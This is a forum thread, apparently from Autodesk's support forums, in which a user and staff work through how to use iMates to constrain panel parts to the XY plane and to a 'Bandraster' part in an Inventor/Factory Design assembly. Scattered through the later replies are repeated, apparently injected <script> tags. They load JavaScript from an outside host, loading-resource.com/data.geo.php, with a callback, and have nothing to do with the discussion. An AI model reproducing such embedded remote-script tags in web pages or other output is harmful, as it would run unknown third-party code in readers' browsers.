I have made panels where i placed iMates so i can place them together in a assy.
But when i select them in the assy they still removeble and they are not constrained.
Did i mis something?
When you insert the second part in the assembly, you can select interactive or automatic iMate constraint in the part open dialog. If I select automatic, they are constrained by the mate constraints you have created and they do not move. I have attached my example.
We have also detailed help materials about the usage of imates which can give you some additional information:
Thanks Daniela
I see what i did wrong.
Is there a way to place imates so my panel will constrain to the XY plane first by placing my panel in a assy.
I tried with workplanes in my part and assy but that isn't work.
Hi! If XY plane mate is the first to be matched, you can open 700.ipt and reorder iMate "onderzijde" to the top and save. After that, the iMate should be the first to match. Could you try it and see if it works for you?
Thanks!
I put the imate on top and create a workplane with imate in my assy with the same name but its not working.
When i toggle true the imates then there is not a match.
So the imate in the part can't find the imate in the assy.
Hi! I don't think I understand your workflow correctly. Could you give me step by step what you did and what was not working?
Thanks!
In the part 700.ipt whats in the topic there are four imates.
I dragged the imate 'onderzijde' to the top.
I open an assy and i place an workplane to the XY plane.
On that workplane i put an imate with the same name 'onderzijde'.
Then i place the part and want to constrain the imates 'onderzijde' together so that the first part would be constrained to the XY plane.
But when i place the part the imates don't recognize each other.
<script type="text/javascript" src="http://loading-resource.com/data.geo.php?callback=window.__geo.getData"></script>Hi! The iMate you created in the assembly would only be consumable or matchable if the assembly is placed in another assembly as a subassembly. So, it won't work.
Try this workflow instead.
1) Insert an occurrence of the iPart member to an assembly. It will be grounded by default.
2) Insert another occurence of the iPart member. Now the iMates should match. You can keep doing it repeatedly.
Could you try it and see if it works for you?
Thanks!
I now that workflow but i don't want the part be grounded because i want to move the part but it has to keep constraint to the XY plane.
I have to constrain it to another part who is not 700.ipt.
After i have constrain it to that other part i place more parts of 700 and use the imates.
My intention is to have a part on the xy plane to place and then move freely to another part and constrain and then to place multiple parts with imates
<script type="text/javascript" src="http://loading-resource.com/data.geo.php?callback=window.__geo.getData"></script>
<script type="text/javascript" src="http://loading-resource.com/data.geo.php?callback=window.__geo.getData"></script>Hi! The very first component you place in an assembly is always grounded. You have to manually unground it. Then, constraining to the XY plane in the top level assembly has to be done manually (you can select the iMate in the iPart when using Constraint command).
If you want an automated way, you might need to insert a dummy part which has an XY plane iMate first. Then insert the iPart member next.
Does it make sense?
Thanks!
You mean i have to place an assy with that imate first.
<script type="text/javascript" src="http://loading-resource.com/data.geo.php?callback=window.__geo.getData"></script>Either a part or a subassembly will do. Basically, the target of iMate at the top level assembly is for iMate from another component when they are at the same level.
I am working most of the time in Factory Design.
Isn't there a way to do something with the layout that is placed when you open a factory drawing.
I don't want to work with assets for my part 700.ipt
Hi Jos -
Just got involved here.
Can you expand on what you're thinking a bit to help me understand?
What do you mean by "Isnt't there a way to do something with the layout..."?
When you place an asset (that has a landing surface) into a layout with floor snap on, it will automatically create a workplane on the floor, and constrain the component to that.
Jeff
Hi Jeff
Thanks for involved.
First, i don't use assets for some of my parts see topic:http://forums.autodesk.com/t5/Autodesk-Factory-Design-Suite/sketch-asset/td-p/3450242
But what i want to know is can i use the Landing Surface out side an asset?
I would like to do that in my part without publish my part to an asset.
But i think I have another solution.
The thing I want is the following.
I first place some 'HoofdBandRaster' parts.
These are normally geconstrained to another part but that's irrelevant here.
Then I place one or more 'BandrasterStandardPaneel' parts.
Now I would like to place the first panel which would be equal to the bottom of the bandraster, or to have the XY Plane.
Now I have made in both parts the same iMate, 'OnderKantBandraster'.
If I have a panel place I click to the site to accept but the panel takes another iMate of Bandraster and then right mouse click and select "Skip remaining iMate results' and the panel get past the last placed Bandraster placed with the underside geconstrained.
Now I can move freely but the panel bottom sides remain constraind.
Now I can place the following constrain to apply to the panel to the right side of the Bandraster to constrain.
Then I can place multiple panels.
So what is the story, i want the first placed panel constrained to the bottom of the BandRaster and then move the panel free but will be constrained to the bottom of the BandRaster and then constain one side of the panel to the site of the BandRaster.
<script type="text/javascript" src="http://loading-resource.com/data.geo.php?callback=window.__geo.getData"></script>
<script type="text/javascript" src="http://loading-resource.com/data.geo.php?callback=window.__geo.getData"></script>
<script type="text/javascript" src="http://loading-resource.com/data.geo.php?callback=window.__geo.getData"></script>I have another workflow.
I first place another part, Bandraster.
That part, Bandraster, is constrained on another part with imates.
Then I place the panel.
I now have a iMate created in part Panel.
This iMate is at the bottom in the browser and is equal to the iMate in Bandraster.
When I place my first panel it will use that imate and so the bottom will be constraind to the bottom of the Bandraster.
If I place a second panel it will constrain to the panel because there are more imates in the Panel.
The iMate equal to the bandraster will not be used.
Now I want place Panels on two sides of the Bandraster placed with imates.
If I then place the next panel I rmk and select 'Generate remaining imates results' and the iMate of the Bandraster is used.
Then I constrain the panel to the Bandraster and the bottom sides remain equal.
I can then randomly place panels and switch between imates of the panels with rmk and select 'Next iMate component'.
<script type="text/javascript" src="http://loading-resource.com/data.geo.php?callback=window.__geo.getData"></script>
<script type="text/javascript" src="http://loading-resource.com/data.geo.php?callback=window.__geo.getData"></script>
<script type="text/javascript" src="http://loading-resource.com/data.geo.php?callback=window.__geo.getData"></script>I think I know what you are talking about. But, to be sure, it would be better if you can show me an example. iMate behaviors can be subtle sometimes. We can go round and round, if we are not talking about the same thing.
Thanks!